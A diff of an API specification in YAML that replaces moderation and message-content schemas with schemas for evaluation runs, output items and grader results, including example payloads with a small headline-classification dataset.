+ - type: 'null'
+ model:
anyOf:
- type: string
- description: The text contents of the message.
- title: Text content
+ description: The name of the model to find responses for. This is a query parameter used to select responses.
+ - type: 'null'
+ instructions_search:
+ anyOf:
+ - type: string
+ description: Optional string to search the 'instructions' field. This is a query parameter used to select responses.
+ - type: 'null'
+ created_after:
+ anyOf:
+ - type: integer
+ minimum: 0
+ description: Only include items created after this timestamp (inclusive). This is a query parameter used to select responses.
+ - type: 'null'
+ created_before:
+ anyOf:
+ - type: integer
+ minimum: 0
+ description: Only include items created before this timestamp (inclusive). This is a query parameter used to select responses.
+ - type: 'null'
+ reasoning_effort:
+ anyOf:
+ - $ref: '#/components/schemas/ReasoningEffort'
+ description: Optional reasoning effort parameter. This is a query parameter used to select responses.
+ - type: 'null'
+ temperature:
+ anyOf:
+ - type: number
+ description: Sampling temperature. This is a query parameter used to select responses.
+ - type: 'null'
+ top_p:
+ anyOf:
+ - type: number
+ description: Nucleus sampling parameter. This is a query parameter used to select responses.
+ - type: 'null'
+ users:
+ anyOf:
- type: array
- description: An array of content parts with a defined type, each can be of type `text` or images can be passed with `image_url` or `image_file`. Image types are only supported on [Vision-compatible models](https://developers.openai.com/api/docs/models).
- title: Array of content parts
items:
- anyOf:
- - $ref: '#/components/schemas/MessageContentImageFileObject'
- - $ref: '#/components/schemas/MessageContentImageUrlObject'
- - $ref: '#/components/schemas/MessageRequestContentTextObject'
- discriminator:
- propertyName: type
- minItems: 1
- attachments:
+ type: string
+ description: List of user identifiers. This is a query parameter used to select responses.
+ - type: 'null'
+ tools:
anyOf:
- type: array
items:
- type: object
- properties:
- file_id:
- type: string
- description: The ID of the file to attach to the message.
- tools:
- description: The tools to add this file to.
- type: array
- items:
- anyOf:
- - $ref: '#/components/schemas/AssistantToolsCode'
- - $ref: '#/components/schemas/AssistantToolsFileSearchTypeOnly'
- discriminator:
- propertyName: type
- description: A list of files attached to the message, and the tools they should be added to.
- required:
- - file_id
- - tools
+ type: string
+ description: List of tool names. This is a query parameter used to select responses.
- type: 'null'
+ required:
+ - type
+ x-oaiMeta:
+ name: The run data source object used to configure an individual run
+ group: eval runs
+ example: |
+ {
+ "type": "responses",
+ "model": "gpt-6-astra",
+ "users": ["user1", "user2"],
+ "tools": ["tool1", "tool2"],
+ "instructions_search": "You are a coding assistant"
+ }
+ EvalRun:
+ type: object
+ title: EvalRun
+ description: |
+ A schema representing an evaluation run.
+ properties:
+ object:
+ type: string
+ enum:
+ - eval.run
+ default: eval.run
+ description: The type of the object. Always "eval.run".
+ x-stainless-const: true
+ id:
+ type: string
+ description: Unique identifier for the evaluation run.
+ eval_id:
+ type: string
+ description: The identifier of the associated evaluation.
+ status:
+ type: string
+ description: The status of the evaluation run.
+ model:
+ type: string
+ description: The model that is evaluated, if applicable.
+ name:
+ type: string
+ description: The name of the evaluation run.
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) when the evaluation run was created.
+ report_url:
+ type: string
+ format: uri
+ description: The URL to the rendered evaluation run report on the UI dashboard.
+ result_counts:
+ type: object
+ description: Counters summarizing the outcomes of the evaluation run.
+ properties:
+ total:
+ type: integer
+ description: Total number of executed output items.
+ errored:
+ type: integer
+ description: Number of output items that resulted in an error.
+ failed:
+ type: integer
+ description: Number of output items that failed to pass the evaluation.
+ passed:
+ type: integer
+ description: Number of output items that passed the evaluation.
+ required:
+ - total
+ - errored
+ - failed
+ - passed
+ per_model_usage:
+ type: array
+ description: Usage statistics for each model during the evaluation run.
+ items:
+ type: object
+ properties:
+ model_name:
+ type: string
+ description: The name of the model.
+ x-stainless-naming:
+ python:
+ property_name: run_model_name
+ invocation_count:
+ type: integer
+ description: The number of invocations.
+ prompt_tokens:
+ type: integer
+ description: The number of prompt tokens used.
+ completion_tokens:
+ type: integer
+ description: The number of completion tokens generated.
+ total_tokens:
+ type: integer
+ description: The total number of tokens used.
+ cached_tokens:
+ type: integer
+ description: The number of tokens retrieved from cache.
+ required:
+ - model_name
+ - invocation_count
+ - prompt_tokens
+ - completion_tokens
+ - total_tokens
+ - cached_tokens
+ per_testing_criteria_results:
+ type: array
+ description: Results per testing criteria applied during the evaluation run.
+ items:
+ type: object
+ properties:
+ testing_criteria:
+ type: string
+ description: A description of the testing criteria.
+ passed:
+ type: integer
+ description: Number of tests passed for this criteria.
+ failed:
+ type: integer
+ description: Number of tests failed for this criteria.
+ required:
+ - testing_criteria
+ - passed
+ - failed
+ data_source:
+ type: object
+ description: Information about the run's data source.
+ anyOf:
+ - $ref: '#/components/schemas/CreateEvalJsonlRunDataSource'
+ - $ref: '#/components/schemas/CreateEvalCompletionsRunDataSource'
+ - $ref: '#/components/schemas/CreateEvalResponsesRunDataSource'
+ discriminator:
+ propertyName: type
metadata:
$ref: '#/components/schemas/Metadata'
- CreateModelResponseProperties:
- allOf:
- - $ref: '#/components/schemas/ModelResponseProperties'
- - type: object
- properties:
- prompt_cache_options:
- $ref: '#/components/schemas/PromptCacheOptionsParam'
- top_logprobs:
- description: |
- An integer between 0 and 20 specifying the maximum number of most likely
- tokens to return at each token position, each with an associated log
- probability. In some cases, the number of returned tokens may be fewer than
- requested.
- type: integer
- minimum: 0
- maximum: 20
- CreateModerationRequest:
+ error:
+ $ref: '#/components/schemas/EvalApiError'
+ required:
+ - object
+ - id
+ - eval_id
+ - status
+ - model
+ - name
+ - created_at
+ - report_url
+ - result_counts
+ - per_model_usage
+ - per_testing_criteria_results
+ - data_source
+ - metadata
+ - error
+ x-oaiMeta:
+ name: The eval run object
+ group: evals
+ example: |
+ {
+ "object": "eval.run",
+ "id": "evalrun_67e57965b480819094274e3a32235e4c",
+ "eval_id": "eval_67e579652b548190aaa83ada4b125f47",
+ "report_url": "https://platform.openai.com/evaluations/eval_67e579652b548190aaa83ada4b125f47?run_id=evalrun_67e57965b480819094274e3a32235e4c",
+ "status": "queued",
+ "model": "gpt-6-astra",
+ "name": "gpt-6-astra",
+ "created_at": 1743092069,
+ "result_counts": {
+ "total": 0,
+ "errored": 0,
+ "failed": 0,
+ "passed": 0
+ },
+ "per_model_usage": null,
+ "per_testing_criteria_results": null,
+ "data_source": {
+ "type": "completions",
+ "source": {
+ "type": "file_content",
+ "content": [
+ {
+ "item": {
+ "input": "Tech Company Launches Advanced Artificial Intelligence Platform",
+ "ground_truth": "Technology"
+ }
+ },
+ {
+ "item": {
+ "input": "Central Bank Increases Interest Rates Amid Inflation Concerns",
+ "ground_truth": "Markets"
+ }
+ },
+ {
+ "item": {
+ "input": "International Summit Addresses Climate Change Strategies",
+ "ground_truth": "World"
+ }
+ },
+ {
+ "item": {
+ "input": "Major Retailer Reports Record-Breaking Holiday Sales",
+ "ground_truth": "Business"
+ }
+ },
+ {
+ "item": {
+ "input": "National Team Qualifies for World Championship Finals",
+ "ground_truth": "Sports"
+ }
+ },
+ {
+ "item": {
+ "input": "Stock Markets Rally After Positive Economic Data Released",
+ "ground_truth": "Markets"
+ }
+ },
+ {
+ "item": {
+ "input": "Global Manufacturer Announces Merger with Competitor",
+ "ground_truth": "Business"
+ }
+ },
+ {
+ "item": {
+ "input": "Breakthrough in Renewable Energy Technology Unveiled",
+ "ground_truth": "Technology"
+ }
+ },
+ {
+ "item": {
+ "input": "World Leaders Sign Historic Climate Agreement",
+ "ground_truth": "World"
+ }
+ },
+ {
+ "item": {
+ "input": "Professional Athlete Sets New Record in Championship Event",
+ "ground_truth": "Sports"
+ }
+ },
+ {
+ "item": {
+ "input": "Financial Institutions Adapt to New Regulatory Requirements",
+ "ground_truth": "Business"
+ }
+ },
+ {
+ "item": {
+ "input": "Tech Conference Showcases Advances in Artificial Intelligence",
+ "ground_truth": "Technology"
+ }
+ },
+ {
+ "item": {
+ "input": "Global Markets Respond to Oil Price Fluctuations",
+ "ground_truth": "Markets"
+ }
+ },
+ {
+ "item": {
+ "input": "International Cooperation Strengthened Through New Treaty",
+ "ground_truth": "World"
+ }
+ },
+ {
+ "item": {
+ "input": "Sports League Announces Revised Schedule for Upcoming Season",
+ "ground_truth": "Sports"
+ }
+ }
+ ]
+ },
+ "input_messages": {
+ "type": "template",
+ "template": [
+ {
+ "type": "message",
+ "role": "developer",
+ "content": {
+ "type": "input_text",
+ "text": "Categorize a given news headline into one of the following topics: Technology, Markets, World, Business, or Sports.\n\n# Steps\n\n1. Analyze the content of the news headline to understand its primary focus.\n2. Extract the subject matter, identifying any key indicators or keywords.\n3. Use the identified indicators to determine the most suitable category out of the five options: Technology, Markets, World, Business, or Sports.\n4. Ensure only one category is selected per headline.\n\n# Output Format\n\nRespond with the chosen category as a single word. For instance: \"Technology\", \"Markets\", \"World\", \"Business\", or \"Sports\".\n\n# Examples\n\n**Input**: \"Apple Unveils New iPhone Model, Featuring Advanced AI Features\" \n**Output**: \"Technology\"\n\n**Input**: \"Global Stocks Mixed as Investors Await Central Bank Decisions\" \n**Output**: \"Markets\"\n\n**Input**: \"War in Ukraine: Latest Updates on Negotiation Status\" \n**Output**: \"World\"\n\n**Input**: \"Microsoft in Talks to Acquire Gaming Company for $2 Billion\" \n**Output**: \"Business\"\n\n**Input**: \"Manchester United Secures Win in Premier League Football Match\" \n**Output**: \"Sports\" \n\n# Notes\n\n- If the headline appears to fit into more than one category, choose the most dominant theme.\n- Keywords or phrases such as \"stocks\", \"company acquisition\", \"match\", or technological brands can be good indicators for classification.\n"
+ }
+ },
+ {
+ "type": "message",
+ "role": "user",
+ "content": {
+ "type": "input_text",
+ "text": "{{item.input}}"
+ }
+ }
+ ]
+ },
+ "model": "gpt-6-astra",
+ "sampling_params": {
+ "max_completions_tokens": 2048
+ }
+ },
+ "error": null,
+ "metadata": {}
+ }
+ EvalRunList:
type: object
+ title: EvalRunList
+ description: |
+ An object representing a list of runs for an evaluation.
properties:
- input:
+ object:
+ type: string
+ enum:
+ - list
+ default: list
description: |
- Input (or inputs) to classify. Can be a single string, an array of strings, or
- an array of multi-modal input objects similar to other models.
- anyOf:
- - type: string
- description: A string of text to classify for moderation.
- default: ''
- example: I want to kill them.
- - type: array
- description: An array of strings to classify for moderation.
- items:
- type: string
- default: ''
- example: I want to kill them.
- - type: array
- description: An array of multi-modal inputs to the moderation model.
- items:
- anyOf:
- - $ref: '#/components/schemas/ModerationImageURLInput'
- description: An object describing an image to classify.
- - $ref: '#/components/schemas/ModerationTextInput'
- description: An object describing text to classify.
- discriminator:
- propertyName: type
- title: Moderation Multi Modal Array
- model:
+ The type of this object. It is always set to "list".
+ x-stainless-const: true
+ data:
+ type: array
description: |
- The content moderation model you would like to use. Learn more in
- [the moderation guide](https://developers.openai.com/api/docs/guides/moderation), and learn about
- available models [here](https://developers.openai.com/api/docs/guides/moderation).
- nullable: false
- x-oaiTypeLabel: string
- anyOf:
- - type: string
- - type: string
- enum:
- - omni-moderation-latest
- - omni-moderation-2024-09-26
- - text-moderation-latest
- - text-moderation-stable
- x-stainless-nominal: false
+ An array of eval run objects.
+ items:
+ $ref: '#/components/schemas/EvalRun'
+ first_id:
+ type: string
+ description: The identifier of the first eval run in the data array.
+ last_id:
+ type: string
+ description: The identifier of the last eval run in the data array.
+ has_more:
+ type: boolean
+ description: Indicates whether there are more evals available.
required:
- - input
- CreateModerationResponse:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ x-oaiMeta:
+ name: The eval run list object
+ group: evals
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "object": "eval.run",
+ "id": "evalrun_67b7fbdad46c819092f6fe7a14189620",
+ "eval_id": "eval_67b7fa9a81a88190ab4aa417e397ea21",
+ "report_url": "https://platform.openai.com/evaluations/eval_67b7fa9a81a88190ab4aa417e397ea21?run_id=evalrun_67b7fbdad46c819092f6fe7a14189620",
+ "status": "completed",
+ "model": "o3-mini",
+ "name": "Academic Assistant",
+ "created_at": 1740110812,
+ "result_counts": {
+ "total": 171,
+ "errored": 0,
+ "failed": 80,
+ "passed": 91
+ },
+ "per_model_usage": null,
+ "per_testing_criteria_results": [
+ {
+ "testing_criteria": "String check grader",
+ "passed": 91,
+ "failed": 80
+ }
+ ],
+ "run_data_source": {
+ "type": "completions",
+ "template_messages": [
+ {
+ "type": "message",
+ "role": "system",
+ "content": {
+ "type": "input_text",
+ "text": "You are a helpful assistant."
+ }
+ },
+ {
+ "type": "message",
+ "role": "user",
+ "content": {
+ "type": "input_text",
+ "text": "Hello, can you help me with my homework?"
+ }
+ }
+ ],
+ "datasource_reference": null,
+ "model": "o3-mini",
+ "max_completion_tokens": null,
+ "seed": null,
+ "temperature": null,
+ "top_p": null
+ },
+ "error": null,
+ "metadata": {"test": "synthetics"}
+ }
+ ],
+ "first_id": "evalrun_67abd54d60ec8190832b46859da808f7",
+ "last_id": "evalrun_67abd54d60ec8190832b46859da808f7",
+ "has_more": false
+ }
+ EvalRunOutputItem:
type: object
- description: Represents if a given text input is potentially harmful.
+ title: EvalRunOutputItem
+ description: |
+ A schema representing an evaluation run output item.
properties:
+ object:
+ type: string
+ enum:
+ - eval.run.output_item
+ default: eval.run.output_item
+ description: The type of the object. Always "eval.run.output_item".
+ x-stainless-const: true
id:
type: string
- description: The unique identifier for the moderation request.
- model:
+ description: Unique identifier for the evaluation run output item.
+ run_id:
type: string
- description: The model used to generate the moderation results.
+ description: The identifier of the evaluation run associated with this output item.
+ eval_id:
+ type: string
+ description: The identifier of the evaluation group.
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) when the evaluation run was created.
+ status:
+ type: string
+ description: The status of the evaluation run.
+ datasource_item_id:
+ type: integer
+ description: The identifier for the data source item.
+ datasource_item:
+ type: object
+ description: Details of the input data source item.
+ additionalProperties: true
results:
type: array
- description: A list of moderation objects.
+ description: A list of grader results for this output item.
items:
- type: object
- properties:
- flagged:
- type: boolean
- description: Whether any of the below categories are flagged.
- categories:
- type: object
- description: A list of the categories, and whether they are flagged or not.
- properties:
- hate:
- type: boolean
- description: Content that expresses, incites, or promotes hate based on race, gender, ethnicity, religion, nationality, sexual orientation, disability status, or caste. Hateful content aimed at non-protected groups (e.g., chess players) is harassment.
- hate/threatening:
- type: boolean
- description: Hateful content that also includes violence or serious harm towards the targeted group based on race, gender, ethnicity, religion, nationality, sexual orientation, disability status, or caste.
- harassment:
- type: boolean
- description: Content that expresses, incites, or promotes harassing language towards any target.
- harassment/threatening:
- type: boolean
- description: Harassment content that also includes violence or serious harm towards any target.
- illicit:
- anyOf:
- - type: boolean
- description: Content that includes instructions or advice that facilitate the planning or execution of wrongdoing, or that gives advice or instruction on how to commit illicit acts. For example, "how to shoplift" would fit this category.
- - type: 'null'
- illicit/violent:
- anyOf:
- - type: boolean
- description: Content that includes instructions or advice that facilitate the planning or execution of wrongdoing that also includes violence, or that gives advice or instruction on the procurement of any weapon.
- - type: 'null'
- self-harm:
- type: boolean
- description: Content that promotes, encourages, or depicts acts of self-harm, such as suicide, cutting, and eating disorders.
- self-harm/intent:
- type: boolean
- description: Content where the speaker expresses that they are engaging or intend to engage in acts of self-harm, such as suicide, cutting, and eating disorders.
- self-harm/instructions:
- type: boolean
- description: Content that encourages performing acts of self-harm, such as suicide, cutting, and eating disorders, or that gives instructions or advice on how to commit such acts.
- sexual:
- type: boolean
- description: Content meant to arouse sexual excitement, such as the description of sexual activity, or that promotes sexual services (excluding sex education and wellness).
- sexual/minors:
- type: boolean
- description: Sexual content that includes an individual who is under 18 years old.
- violence:
- type: boolean
- description: Content that depicts death, violence, or physical injury.
- violence/graphic:
- type: boolean
- description: Content that depicts death, violence, or physical injury in graphic detail.
- required:
- - hate
- - hate/threatening
- - harassment
- - harassment/threatening
- - illicit
- - illicit/violent
- - self-harm
- - self-harm/intent
- - self-harm/instructions
- - sexual
- - sexual/minors
- - violence
- - violence/graphic
- category_scores:
+ $ref: '#/components/schemas/EvalRunOutputItemResult'
+ sample:
+ type: object
+ description: A sample containing the input and output of the evaluation run.
+ properties:
+ input:
+ type: array
+ description: An array of input messages.
+ items:
type: object
- description: A list of the categories along with their scores as predicted by model.
+ description: An input message.
properties:
- hate:
- type: number
- description: The score for the category 'hate'.
- hate/threatening:
- type: number
- description: The score for the category 'hate/threatening'.
- harassment:
- type: number
- description: The score for the category 'harassment'.
- harassment/threatening:
- type: number
- description: The score for the category 'harassment/threatening'.
- illicit:
- type: number
- description: The score for the category 'illicit'.
- illicit/violent:
- type: number
- description: The score for the category 'illicit/violent'.
- self-harm:
- type: number
- description: The score for the category 'self-harm'.
- self-harm/intent:
- type: number
- description: The score for the category 'self-harm/intent'.
- self-harm/instructions:
- type: number
- description: The score for the category 'self-harm/instructions'.
- sexual:
- type: number
- description: The score for the category 'sexual'.
- sexual/minors:
- type: number
- description: The score for the category 'sexual/minors'.
- violence:
- type: number
- description: The score for the category 'violence'.
- violence/graphic:
- type: number
- description: The score for the category 'violence/graphic'.
+ role:
+ type: string
+ description: The role of the message sender (e.g., system, user, developer).
+ content:
+ type: string
+ description: The content of the message.
required:
- - hate
- - hate/threatening
- - harassment
- - harassment/threatening
- - illicit
- - illicit/violent
- - self-harm
- - self-harm/intent
- - self-harm/instructions
- - sexual
- - sexual/minors
- - violence
- - violence/graphic
- category_applied_input_types:
+ - role
+ - content
+ output:
+ type: array
+ description: An array of output messages.
+ items:
type: object
- description: A list of the categories along with the input type(s) that the score applies to.
properties:
- hate:
- type: array
- description: The applied input type(s) for the category 'hate'.
- items:
- type: string
- enum:
- - text
- x-stainless-const: true
- hate/threatening:
- type: array
- description: The applied input type(s) for the category 'hate/threatening'.
- items:
- type: string
- enum:
- - text
- x-stainless-const: true
- harassment:
- type: array
- description: The applied input type(s) for the category 'harassment'.
- items:
- type: string
- enum:
- - text
- x-stainless-const: true
- harassment/threatening:
- type: array
- description: The applied input type(s) for the category 'harassment/threatening'.
- items:
- type: string
- enum:
- - text
- x-stainless-const: true
- illicit:
- type: array
- description: The applied input type(s) for the category 'illicit'.
- items:
- type: string
- enum:
- - text
- x-stainless-const: true
- illicit/violent:
- type: array
- description: The applied input type(s) for the category 'illicit/violent'.
- items:
- type: string
- enum:
- - text
- x-stainless-const: true
- self-harm:
- type: array
- description: The applied input type(s) for the category 'self-harm'.
- items:
- type: string
- enum:
- - text
- - image
- self-harm/intent:
- type: array
- description: The applied input type(s) for the category 'self-harm/intent'.
- items:
- type: string
- enum:
- - text
- - image
- self-harm/instructions:
- type: array
- description: The applied input type(s) for the category 'self-harm/instructions'.
- items:
- type: string
- enum:
- - text
- - image
- sexual:
- type: array
- description: The applied input type(s) for the category 'sexual'.
- items:
- type: string
- enum:
- - text
- - image
- sexual/minors:
- type: array
- description: The applied input type(s) for the category 'sexual/minors'.
- items:
- type: string
- enum:
- - text
- x-stainless-const: true
- violence:
- type: array
- description: The applied input type(s) for the category 'violence'.
- items:
- type: string
- enum:
- - text
- - image
- violence/graphic:
- type: array
- description: The applied input type(s) for the category 'violence/graphic'.
- items:
- type: string
- enum:
- - text
- - image
- required:
- - hate
- - hate/threatening
- - harassment
- - harassment/threatening
- - illicit
- - illicit/violent
- - self-harm
- - self-harm/intent
- - self-harm/instructions
- - sexual
- - sexual/minors
- - violence
- - violence/graphic
- required:
- - flagged
- - categories
- - category_scores
- - category_applied_input_types
+ role:
+ type: string
+ description: The role of the message (e.g. "system", "assistant", "user").
+ content:
+ type: string
+ description: The content of the message.
+ finish_reason:
+ type: string
+ description: The reason why the sample generation was finished.
+ model:
+ type: string
+ description: The model used for generating the sample.
+ usage:
+ type: object
+ description: Token usage details for the sample.
+ properties:
+ total_tokens:
+ type: integer
+ description: The total number of tokens used.
+ completion_tokens:
+ type: integer
+ description: The number of completion tokens generated.
+ prompt_tokens:
+ type: integer
+ description: The number of prompt tokens used.
+ cached_tokens:
+ type: integer
+ description: The number of tokens retrieved from cache.
+ required:
+ - total_tokens
+ - completion_tokens
+ - prompt_tokens
+ - cached_tokens
+ error:
+ $ref: '#/components/schemas/EvalApiError'
+ temperature:
+ type: number
+ description: The sampling temperature used.
+ max_completion_tokens:
+ type: integer
+ description: The maximum number of tokens allowed for completion.
+ top_p:
+ type: number
+ description: The top_p value used for sampling.
+ seed:
+ type: integer
+ description: The seed used for generating the sample.
+ required:
+ - input
+ - output
+ - finish_reason
+ - model
+ - usage
+ - error
+ - temperature
+ - max_completion_tokens
+ - top_p
+ - seed
required:
+ - object
- id
- - model
+ - run_id
+ - eval_id
+ - created_at
+ - status
+ - datasource_item_id
+ - datasource_item
- results
+ - sample
x-oaiMeta:
- name: The moderation object
+ name: The eval run output item object
+ group: evals
example: |
{
- "id": "modr-0d9740456c391e43c445bf0f010940c7",
- "model": "omni-moderation-latest",
+ "object": "eval.run.output_item",
+ "id": "outputitem_67abd55eb6548190bb580745d5644a33",
+ "run_id": "evalrun_67abd54d60ec8190832b46859da808f7",
+ "eval_id": "eval_67abd54d9b0081909a86353f6fb9317a",
+ "created_at": 1739314509,
+ "status": "pass",
+ "datasource_item_id": 137,
+ "datasource_item": {
+ "teacher": "To grade essays, I only check for style, content, and grammar.",
+ "student": "I am a student who is trying to write the best essay."
+ },
"results": [
{
- "flagged": true,
- "categories": {
- "harassment": true,
- "harassment/threatening": true,
- "sexual": false,
- "hate": false,
- "hate/threatening": false,
- "illicit": false,
- "illicit/violent": false,
- "self-harm/intent": false,
- "self-harm/instructions": false,
- "self-harm": false,
- "sexual/minors": false,
- "violence": true,
- "violence/graphic": true
+ "name": "String Check Grader",
+ "type": "string-check-grader",
+ "score": 1.0,
+ "passed": true,
+ }
+ ],
+ "sample": {
+ "input": [
+ {
+ "role": "system",
+ "content": "You are an evaluator bot..."
},
- "category_scores": {
- "harassment": 0.8189693396524255,
- "harassment/threatening": 0.804985420696006,
- "sexual": 1.573112165348997e-6,
- "hate": 0.007562942636942845,
- "hate/threatening": 0.004208854591835476,
- "illicit": 0.030535955153511665,
- "illicit/violent": 0.008925306722380033,
- "self-harm/intent": 0.00023023930975076432,
- "self-harm/instructions": 0.0002293869201073356,
- "self-harm": 0.012598046106750154,
- "sexual/minors": 2.212566909570261e-8,
- "violence": 0.9999992735124786,
- "violence/graphic": 0.843064871157054
+ {
+ "role": "user",
+ "content": "You are assessing..."
+ }
+ ],
+ "output": [
+ {
+ "role": "assistant",
+ "content": "The rubric is not clear nor concise."
+ }
+ ],
+ "finish_reason": "stop",
+ "model": "gpt-6-astra",
+ "usage": {
+ "total_tokens": 521,
+ "completion_tokens": 2,
+ "prompt_tokens": 519,
+ "cached_tokens": 0
+ },
+ "error": null,
+ "temperature": 1.0,
+ "max_completion_tokens": 2048,
+ "top_p": 1.0,
+ "seed": 42
+ }
+ }
+ EvalRunOutputItemList:
+ type: object
+ title: EvalRunOutputItemList
+ description: |
+ An object representing a list of output items for an evaluation run.
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ default: list
+ description: |
+ The type of this object. It is always set to "list".
+ x-stainless-const: true
+ data:
+ type: array
+ description: |
+ An array of eval run output item objects.
+ items:
+ $ref: '#/components/schemas/EvalRunOutputItem'
+ first_id:
+ type: string
+ description: The identifier of the first eval run output item in the data array.
+ last_id:
+ type: string
+ description: The identifier of the last eval run output item in the data array.
+ has_more:
+ type: boolean
+ description: Indicates whether there are more eval run output items available.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ x-oaiMeta:
+ name: The eval run output item list object
+ group: evals
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "object": "eval.run.output_item",
+ "id": "outputitem_67abd55eb6548190bb580745d5644a33",
+ "run_id": "evalrun_67abd54d60ec8190832b46859da808f7",
+ "eval_id": "eval_67abd54d9b0081909a86353f6fb9317a",
+ "created_at": 1739314509,
+ "status": "pass",
+ "datasource_item_id": 137,
+ "datasource_item": {
+ "teacher": "To grade essays, I only check for style, content, and grammar.",
+ "student": "I am a student who is trying to write the best essay."
},
- "category_applied_input_types": {
- "harassment": [
- "text"
- ],
- "harassment/threatening": [
- "text"
- ],
- "sexual": [
- "text",
- "image"
- ],
- "hate": [
- "text"
- ],
- "hate/threatening": [
- "text"
- ],
- "illicit": [
- "text"
- ],
- "illicit/violent": [
- "text"
- ],
- "self-harm/intent": [
- "text",
- "image"
- ],
- "self-harm/instructions": [
- "text",
- "image"
- ],
- "self-harm": [
- "text",
- "image"
- ],
- "sexual/minors": [
- "text"
+ "results": [
+ {
+ "name": "String Check Grader",
+ "type": "string-check-grader",
+ "score": 1.0,
+ "passed": true,
+ }
+ ],
+ "sample": {
+ "input": [
+ {
+ "role": "system",
+ "content": "You are an evaluator bot..."
+ },
+ {
+ "role": "user",
+ "content": "You are assessing..."
+ }
],
- "violence": [
- "text",
- "image"
+ "output": [
+ {
+ "role": "assistant",
+ "content": "The rubric is not clear nor concise."
+ }
],
- "violence/graphic": [
- "text",
- "image"
- ]
+ "finish_reason": "stop",
+ "model": "gpt-6-astra",
+ "usage": {
+ "total_tokens": 521,
+ "completion_tokens": 2,
+ "prompt_tokens": 519,
+ "cached_tokens": 0
+ },
+ "error": null,
+ "temperature": 1.0,
+ "max_completion_tokens": 2048,
+ "top_p": 1.0,
+ "seed": 42
}
- }
- ]
+ },
+ ],
+ "first_id": "outputitem_67abd55eb6548190bb580745d5644a33",
+ "last_id": "outputitem_67abd55eb6548190bb580745d5644a33",
+ "has_more": false
}
- CreateResponse:
- allOf:
- - $ref: '#/components/schemas/CreateModelResponseProperties'
- - $ref: '#/components/schemas/ResponseProperties'
- - type: object
- properties:
- prompt_cache_options:
- $ref: '#/components/schemas/ResponsePromptCacheOptionsParam'
- service_tier:
- $ref: '#/components/schemas/ServiceTierResponses'
- truncation:
- deprecated: true
- anyOf:
- - type: string
- description: |
- The truncation strategy to use for the model response.
- - `auto`: If the input to this Response exceeds
- the model's context window size, the model will truncate the
- response to fit the context window by dropping items from the beginning of the conversation.
- - `disabled` (default): If the input size will exceed the context window
- size for a model, the request will fail with a 400 error.
- enum:
- - auto
- - disabled
- default: disabled
- - type: 'null'
- reasoning:
- anyOf:
- - $ref: '#/components/schemas/Reasoning'
- - type: 'null'
- input:
- $ref: '#/components/schemas/InputParam'
- include:
- anyOf:
- - type: array
- description: |-
- Specify additional output data to include in the model response. Currently supported values are:
- - `web_search_call.action.sources`: Include the sources of the web search tool call.
- - `code_interpreter_call.outputs`: Includes the outputs of python code execution in code interpreter tool call items.
- - `computer_call_output.output.image_url`: Include image urls from the computer call output.
- - `file_search_call.results`: Include the search results of the file search tool call.
- - `message.input_image.image_url`: Include image urls from the input message.
- - `message.output_text.logprobs`: Include logprobs with assistant messages.
- - `reasoning.encrypted_content`: Includes an encrypted version of reasoning tokens in reasoning item outputs. This enables reasoning items to be used in multi-turn conversations when using the Responses API statelessly (like when the `store` parameter is set to `false`, or when an organization is enrolled in the zero data retention program).
- items:
- $ref: '#/components/schemas/IncludeEnum'
- - type: 'null'
- parallel_tool_calls:
- anyOf:
- - type: boolean
- description: |
- Whether to allow the model to run tool calls in parallel.
- default: true
- - type: 'null'
- store:
- anyOf:
- - type: boolean
- description: |
- Whether to store the generated model response for later retrieval via
- API.
- Defaults to true when omitted.
- If set to true, response data will be stored for at least 30 days, subject to the [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
- default: true
- - type: 'null'
- instructions:
- anyOf:
- - type: string
- description: |
- A system (or developer) message inserted into the model's context.
-
- When using along with `previous_response_id`, the instructions from a previous
- response will not be carried over to the next response. This makes it simple
- to swap out system (or developer) messages in new responses.
- - type: 'null'
- moderation:
- anyOf:
- - $ref: '#/components/schemas/ModerationParam'
- description: |
- Configuration for running moderation on the input and output of this response.
- - type: 'null'
- stream:
- anyOf:
- - description: |
- If set to true, the model response data will be streamed to the client
- as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
- See the [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
- for more information.
- type: boolean
- default: false
- - type: 'null'
- stream_options:
- $ref: '#/components/schemas/ResponseStreamOptions'
- conversation:
- anyOf:
- - $ref: '#/components/schemas/ConversationParam'
- - type: 'null'
- context_management:
- anyOf:
- - type: array
- description: |
- Context management configuration for this request.
- minItems: 1
- items:
- $ref: '#/components/schemas/ContextManagementParam'
- - type: 'null'
- max_output_tokens:
- anyOf:
- - description: |
- An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
- type: integer
- minimum: 16
- - type: 'null'
- CreateRunRequest:
+ EvalRunOutputItemResult:
type: object
- additionalProperties: false
+ title: EvalRunOutputItemResult
+ description: |
+ A single grader result for an evaluation run output item.
properties:
- assistant_id:
- description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) to use to execute this run.
+ name:
type: string
- model:
- description: The ID of the [Model](https://developers.openai.com/api/reference/resources/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
- nullable: true
- anyOf:
- - type: string
- - $ref: '#/components/schemas/AssistantSupportedModels'
- x-oaiTypeLabel: string
- reasoning_effort:
- $ref: '#/components/schemas/ReasoningEffort'
- instructions:
- description: Overrides the [instructions](https://developers.openai.com/api/docs/assistants/migration) of the assistant. This is useful for modifying the behavior on a per-run basis.
+ description: The name of the grader.
+ type:
type: string
- nullable: true
- additional_instructions:
- description: Appends additional instructions at the end of the instructions for the run. This is useful for modifying the behavior on a per-run basis without overriding other instructions.
+ description: The grader type (for example, "string-check-grader").
+ score:
+ type: number
+ description: The numeric score produced by the grader.
+ passed:
+ type: boolean
+ description: Whether the grader considered the output a pass.
+ sample:
+ anyOf:
+ - type: object
+ additionalProperties: true
+ - type: 'null'
+ description: Optional sample or intermediate data produced by the grader.
+ additionalProperties: true
+ required:
+ - name
+ - score
+ - passed
